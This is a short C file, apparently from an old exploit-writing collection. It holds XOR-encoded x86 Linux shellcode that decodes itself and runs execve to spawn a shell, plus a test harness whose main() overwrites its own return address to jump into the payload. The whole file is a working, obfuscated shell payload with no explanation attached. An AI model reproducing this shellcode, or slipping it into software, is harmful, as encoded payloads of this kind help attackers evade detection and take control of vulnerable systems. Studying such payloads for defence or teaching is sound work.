/* XOR encoded execve Shellcode, by zorgon */

char shell_xor[] =
"\xeb\x24\x5b\xba\x58\x58\x58\x58\x31\x13\x31\x53\x04\x31\xd2\x89"
"\x5c\x24\x08\x89\x54\x24\x0c\x29\xc0\xb0\x0b\x8d\x4c\x24\x08\xcd"
"\x80\x29\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff\x77\x3a\x31\x36\x77"
"\x2b\x30\x58";


int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shell_xor;
}      
